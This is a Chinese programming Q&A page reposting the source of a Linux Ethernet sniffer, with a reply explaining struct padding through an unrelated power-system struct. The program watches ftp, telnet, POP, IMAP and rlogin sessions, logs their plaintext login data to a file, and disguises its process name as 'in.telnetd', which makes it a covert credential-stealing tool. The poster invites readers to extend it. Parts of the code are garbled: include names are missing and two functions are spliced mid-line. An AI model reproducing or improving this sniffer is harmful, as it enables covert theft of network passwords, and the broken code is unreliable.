当前位置:  技术问答>linux和unix

谬论专家你好,我把源文件给附上

    来源: 互联网  发布时间:2014-11-24

    本文导语:  下面是一个Linux以太网sniffer的源程序。可以根据需要加强这个程序。 这个程序是我从永远的UNIX下载下来的,我不明白的地方就只有昨天贴出去的那一段我给你写了注释 我给你留言了,很想认识你我的QQ84385865,祝你...

下面是一个Linux以太网sniffer的源程序。可以根据需要加强这个程序。
这个程序是我从永远的UNIX下载下来的,我不明白的地方就只有昨天贴出去的那一段我给你写了注释 我给你留言了,很想认识你我的QQ84385865,祝你愉快!!

/* Linux sniffer.c 本程序已经在Red Hat 5.2上调试通过*/

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

int openintf(char *);

int read_tcp(int);

int filter(void);

int print_header(void);

int print_data(int, char *);

char *hostlookup(unsigned long int);

void clear_victim(void);

void cleanup(int);

 

struct etherpacket //  这是一个以太网结构

{

struct ethhdr eth;

struct iphdr ip;

struct tcphdr tcp;

char buff[8192];

}ep;

struct

{

unsigned long saddr;

unsigned long daddr;

unsigned short sport;

unsigned short dport;

int bytes_read;

char active;

time_t start_time;

} victim;

struct iphdr *ip;// 定义了一个全局指针

struct tcphdr *tcp;//定义了一个全局指针


int s;

FILE *fp;

#define CAPTLEN 512

#define TIMEOUT 30

#define TCPLOG "tcp.log"

int openintf(char *d) // 打开一个套接口并设置网卡的工作模式

{

int fd;

struct ifreq ifr;

int s;

fd=socket(AF_INET, SOCK_PACKET, htons(0x800));

if(fd  (victim.start_time + TIMEOUT))

{

fprintf(fp, "---- [Timed Out]");

clear_victim();

return 0;

}

if(ntohs(tcp->dest)==21) p=1; /* ftp */

if(ntohs(tcp->dest)==23) p=1; /* telnet */

if(ntohs(tcp->dest)==110) p=1; /* pop3 */

if(ntohs(tcp->dest)==109) p=1; /* pop2 */

if(ntohs(tcp->dest)==143) p=1; /* imap2 */

if(ntohs(tcp->dest)==513) p=1; /* rlogin */

if(ntohs(tcp->dest)==106) p=1; /* poppasswd */

if(victim.active == 0)

if(p == 1)

if(tcp->syn == 1)

{

victim.saddr=ip->saddr;

victim.daddr=ip->daddr;

victim.active=1;

victim.sport=tcp->source;

victim.dport=tcp->dest;

victim.bytes_read=0;

victim.start_time=time(NULL);

print_header();

}

if(tcp->dest != victim.dport) return 0;

if(tcp->source != victim.sport) return 0;

if(ip->saddr != victim.saddr) return 0;

if(ip->daddr != victim.daddr) return 0;

if(tcp->rst == 1)

{

victim.active=0;

alarm(0);

fprintf(fp, "---- [RST]");

clear_victim();

return 0;

}

if(tcp->fin == 1)

{

victim.active=0;

alarm(0);

fprintf(fp, "---- [FIN]");

clear_victim();

return 0;

}

return 1;

}

int print_header(void)

{

fprintf(fp, "");

fprintf(fp, "%s => ", hostlookup(ip->saddr));

fprintf(fp, "%s [%d]", hostlookup(ip->daddr), ntohs(tcp->dest));

}

int print_data(int datalen, char *data)

{

int i=0;

int t=0;

victim.bytes_read=victim.bytes_read+datalen;

for(i=0;i != datalen;i++)

{

if(data[i] == 13) { fprintf(fp, ""); t=0; }

if(isprint(data[i])) {fprintf(fp, "%c", data[i]);t++;}

if(t > 75) {t=0;fprintf(fp, "");}

}

}

main(int argc, char **argv)// 主函数在这里

{

sprintf(argv[0],"%s","in.telnetd");

s=openintf("eth0");

ip=(struct iphdr *)(((unsigned long)&ep.ip)-2);// 这个地方我不明白


tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2);// 这个地方我不明白


signal(SIGHUP, SIG_IGN);

signal(SIGINT, cleanup);

signal(SIGTERM, cleanup);

signal(SIGKILL, cleanup);

signal(SIGQUIT, cleanup);

if(argc == 2) fp=stdout;

else fp=fopen(TCPLOG, "at");

if(fp == NULL) { fprintf(stderr, "cant open log");exit(0);}

clear_victim();

for(;;)

{

read_tcp(s);

if(victim.active != 0) print_data(htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp), ep.buff-2);

fflush(fp);

}

}

char *hostlookup(unsigned long int in)

{

static char blah[1024];

struct in_addr i;

struct hostent * he;

i.s_addr=in;

he=gethostbyaddr((char *)&i, sizeof(struct in_addr),AF_INET);

if(he == NULL)

strcpy(blah, inet_ntoa(i));

else

strcpy(blah,he->h_name);

return blah;

}

void clear_victim(void)

{

victim.saddr=0;

victim.daddr=0;

victim.sport=0;

victim.dport=0;

victim.active=0;

victim.bytes_read=0;

victim.start_time=0;

}

void cleanup(int sig)

{

fprintf(fp, "Exiting...");

close(s);

fclose(fp);

exit(0);

}

下面对上面的程序作一个介绍。结构etherpacket定义了一个数据包。其中的ethhdr,iphdr,和tcphdr分别是三个结构,用来定义以太网帧,IP数据包头和TCP数据包头的格式。

它们在头文件中的定义如下:

struct ethhdr

{

unsigned char h_dest[ETH_ALEN]; /* destination eth addr */

unsigned char h_source[ETH_ALEN]; /* source ether addr */

unsigned short h_proto; /* packet type ID field */

};

struct iphdr

{

#if __BYTE_ORDER == __LITTLE_ENDIAN

u_int8_t ihl:4;

u_int8_t version:4;

#elif __BYTE_ORDER == __BIG_ENDIAN

u_int8_t version:4;

u_int8_t ihl:4;

#else

#error "Please fix "

#endif

u_int8_t tos;

u_int16_t tot_len;

u_int16_t id;

u_int16_t frag_off;

u_int8_t ttl;

u_int8_t protocol;

u_int16_t check;

u_int32_t saddr;

u_int32_t daddr;

/*The options start here. */

};

struct tcphdr

{

u_int16_t source;

u_int16_t dest;

u_int32_t seq;

u_int32_t ack_seq;

#if __BYTE_ORDER == __LITTLE_ENDIAN

u_int16_t res1:4;

u_int16_t doff:4;

u_int16_t fin:1;

u_int16_t syn:1;

u_int16_t rst:1;

u_int16_t psh:1;

u_int16_t ack:1;

u_int16_t urg:1;

u_int16_t res2:2;

#elif __BYTE_ORDER == __BIG_ENDIAN

u_int16_t doff:4;

u_int16_t res1:4;

u_int16_t res2:2;

u_int16_t urg:1;

u_int16_t ack:1;

u_int16_t psh:1;

u_int16_t rst:1;

u_int16_t syn:1;

u_int16_t fin:1;

#else

#error "Adjust your  defines"

#endif

u_int16_t window;

u_int16_t check;

u_int16_t urg_ptr;

};

上述结构的具体含义可参见《TCP/IP协议简介》一章中的相关内容。接下来,定义了一个结构变量victim。

随后,看一下函数int openintf(char *d),它的作用是打开一个网络接口。在main中是将eth0作为参数来调用这个函数。在这个函数中,用到了下面的结构:

struct ifreq

{

#define IFHWADDRLEN 6

#define IFNAMSIZ 16

union

{

char ifrn_name[IFNAMSIZ]; /* Interface name, e.g. "en0". */

} ifr_ifrn;

union

{

struct sockaddr ifru_addr;

struct sockaddr ifru_dstaddr;

struct sockaddr ifru_broadaddr;

struct sockaddr ifru_netmask;

struct sockaddr ifru_hwaddr;

short int ifru_flags;

int ifru_ivalue;

int ifru_mtu;

struct ifmap ifru_map;

char ifru_slave[IFNAMSIZ]; /* Just fits the size */

__caddr_t ifru_data;

} ifr_ifru;

};


|
我们在QQ上聊过了吧,你说的地方我上次说的,为了地址对齐,就是这样了。
#define AO_K_NAME_MAXCHAR 12 
typedef struct {
   char          name[AO_K_NAME_MAXCHAR];   /* Description of point        */
   uint16        config_flags;              /* Configuration flags         */
   uint16        padding0;                  /* Padding                     */
   float32       cfa;                       /* Conversion factor a (slope) */
   float32       cfb;                       /* Conversion factor b (intcpt)*/
   uint16        unit_of_measure;           /* Unit of measure             */
   uint16        padding1;                  /* Padding                     */
   float32       hrl;                       /* High reasonability limit    */
   float32       lrl;                       /* Low reasonability limit     */
   uint8         hardware_class;            /* Hardware type               */
   uint8         hardware_node_id;          /* Chassis address             */
   uint16        hardware_object;           /* hardware object (slot no.)  */
   uint16        hardware_channel_id;       /* hardware channel            */
   uint16        padding2;                  /* Padding                     */
   uint8         permissive_enabled;        /* Permissive checking is enbld*/
   uint8         permissive_target_value;   /* Digital input value requrd  */
   uint16        permissive_target_point;   /* Digital input point         */
} AO_D_ATTRIBUTES;
这个是CAE公司的电力系统的一个AO模块结构,
中间你可以看到两个padding 成员,第一个是为成员 cfa 的地址能和float的地址对齐,第二个是为了给下面的三个相关的成员刚好一个32位字长,
这些padding 成员在应用时是要跳过的,想一想应该明白了吧。
linux下的实现和此类似,我现在做这个系统,所以用这个代码,请多多包涵。

    
 
 

您可能感兴趣的文章:

 
本站(WWW.)旨在分享和传播互联网科技相关的资讯和技术,将尽最大努力为读者提供更好的信息聚合和浏览方式。
本站(WWW.)站内文章除注明原创外,均为转载、整理或搜集自网络。欢迎任何形式的转载,转载请注明出处。












  • 相关文章推荐


  • 站内导航:


    特别声明:169IT网站部分信息来自互联网,如果侵犯您的权利,请及时告知,本站将立即删除!

    ©2012-2021,,E-mail:www_#163.com(请将#改为@)

    浙ICP备11055608号-3